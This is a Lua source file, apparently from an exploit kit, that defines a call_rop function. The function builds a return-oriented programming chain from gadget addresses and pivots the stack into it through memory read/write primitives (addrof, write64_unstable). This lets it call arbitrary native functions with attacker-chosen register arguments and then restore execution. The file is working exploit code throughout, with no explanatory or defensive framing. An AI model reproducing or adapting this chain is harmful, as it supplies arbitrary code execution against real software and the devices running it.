Files

136 lines
4.0 KiB
Lua

function call_rop(address, rax, arg1, arg2, arg3, arg4, arg5, arg6)
local idx = 0
local rax = rax or 0
local function process_arg(arg)
if arg == nil then
return 0
elseif type(arg) == "string" then
return addrof(arg) + 0x20
else
return arg
end
end
local arg1 = process_arg(arg1)
local arg2 = process_arg(arg2)
local arg3 = process_arg(arg3)
local arg4 = process_arg(arg4)
local arg5 = process_arg(arg5)
local arg6 = process_arg(arg6)
local function push_chain(value)
write64_unstable(LUA_PIVOT_SCRATCH + idx * 8, value)
idx = idx + 1
end
-- Backup RBP
-- xchg rax, rbp ; sub al, 0x00 ; movsxd rdx, qword [rcx+rsi*4] ; add rdx, rcx ; jmp rdx ;
push_chain(POP_RCX_RET)
push_chain(STRING_BASE)
push_chain(POP_RSI_RET)
push_chain(0) -- [RCX + RSI*4] = [STRING_BASE]
local offset = RET - STRING_BASE
write64_unstable(STRING_BASE, offset)
push_chain(XCHG_RAX_RBP)
-- RAX = original RBP, jmp to RET, continues chain
push_chain(POP_RDI_RET)
push_chain(STRING_BASE + 0x10) -- Store RBP to STRING_BASE + 0x10
push_chain(MOV_DEREF_RDI_RAX_RET)
-- r8 and r9
-- pop r8 ; xor eax, eax ; mov word [rbx], cx ; pop rbx ; pop r14 ; pop rbp ; ret
-- mov r9, qword [rbp-0x50] ; mov rbx, qword [rbp-0x40] ; mov eax, 0xFFFFFFFC ; mov esi, 0xFFFFFFFD ; mov edi, 0x00000001 ; add rcx, r8 ; jmp rcx ;
push_chain(POP_RBX_RET)
push_chain(STRING_BASE + 0x8)
push_chain(POP_R8_RET)
push_chain(arg5)
push_chain(0)
push_chain(0)
push_chain(STRING_BASE + 0x70) -- rbp
write64_unstable(STRING_BASE + 0x20, arg6)
push_chain(POP_RCX_RET)
push_chain(RET - arg5)
push_chain(MOV_R9_RET)
-- Restore RBP before calling the function (Maybe not needed?)
push_chain(POP_RAX_RET)
push_chain(STRING_BASE + 0x10)
push_chain(MOV_RAX_DEREF_RAX_RET)
local rbp_placeholder_offset = idx + 4
push_chain(POP_RDI_RET)
push_chain(LUA_PIVOT_SCRATCH + rbp_placeholder_offset * 8)
push_chain(MOV_DEREF_RDI_RAX_RET)
push_chain(POP_RBP_RET)
push_chain(0xDEADBEEF) -- dummy will be changed dynamically
push_chain(POP_RAX_RET)
push_chain(rax)
push_chain(POP_RDI_RET)
push_chain(arg1)
push_chain(POP_RSI_RET)
push_chain(arg2)
push_chain(POP_RDX_RET)
push_chain(arg3)
push_chain(POP_RCX_RET)
push_chain(arg4)
-- Call target function
push_chain(address)
-- Save return value to STRING_BASE + 0x30
push_chain(POP_RDI_RET)
push_chain(STRING_BASE + 0x30)
push_chain(MOV_DEREF_RDI_RAX_RET)
-- Load saved RBP into RAX
push_chain(POP_RAX_RET)
push_chain(STRING_BASE + 0x10)
push_chain(MOV_RAX_DEREF_RAX_RET)
-- Setup for second XCHG
push_chain(POP_RCX_RET)
push_chain(STRING_BASE)
push_chain(POP_RSI_RET)
push_chain(0)
push_chain(XCHG_RAX_RBP)
-- Restore registers
push_chain(POP_R15_RET)
push_chain(LUA_STATE)
-- Calculate original RSP = RBP - 0x48
push_chain(POP_RAX_RET)
push_chain(STRING_BASE + 0x10)
push_chain(MOV_RAX_DEREF_RAX_RET)
push_chain(POP_RDX_RET)
push_chain(0x48)
push_chain(SUB_RAX_RDX_RET) -- RAX = RBP - 0x48
-- Write calculated RSP to the placeholder location
local rsp_placeholder_offset = idx + 4
push_chain(POP_RDI_RET)
push_chain(LUA_PIVOT_SCRATCH + rsp_placeholder_offset * 8)
push_chain(MOV_DEREF_RDI_RAX_RET)
push_chain(POP_RSP_RET)
push_chain(0xDEADBEEF) -- dummy will be changed dynamically
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000, 0)
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000 + 0x48, LUA_PIVOT2)
write64_unstable(LUA_PIVOT_SCRATCH - 0x100000 + 0x7, LUA_PIVOT_SCRATCH)
write64_unstable(LUA_PIVOT_RAX, LUA_PIVOT_SCRATCH - 0x100000)
-- Execute ROP chain
call_rop_internal()
-- Read and return result
return read64_unstable(STRING_BASE + 0x30)
end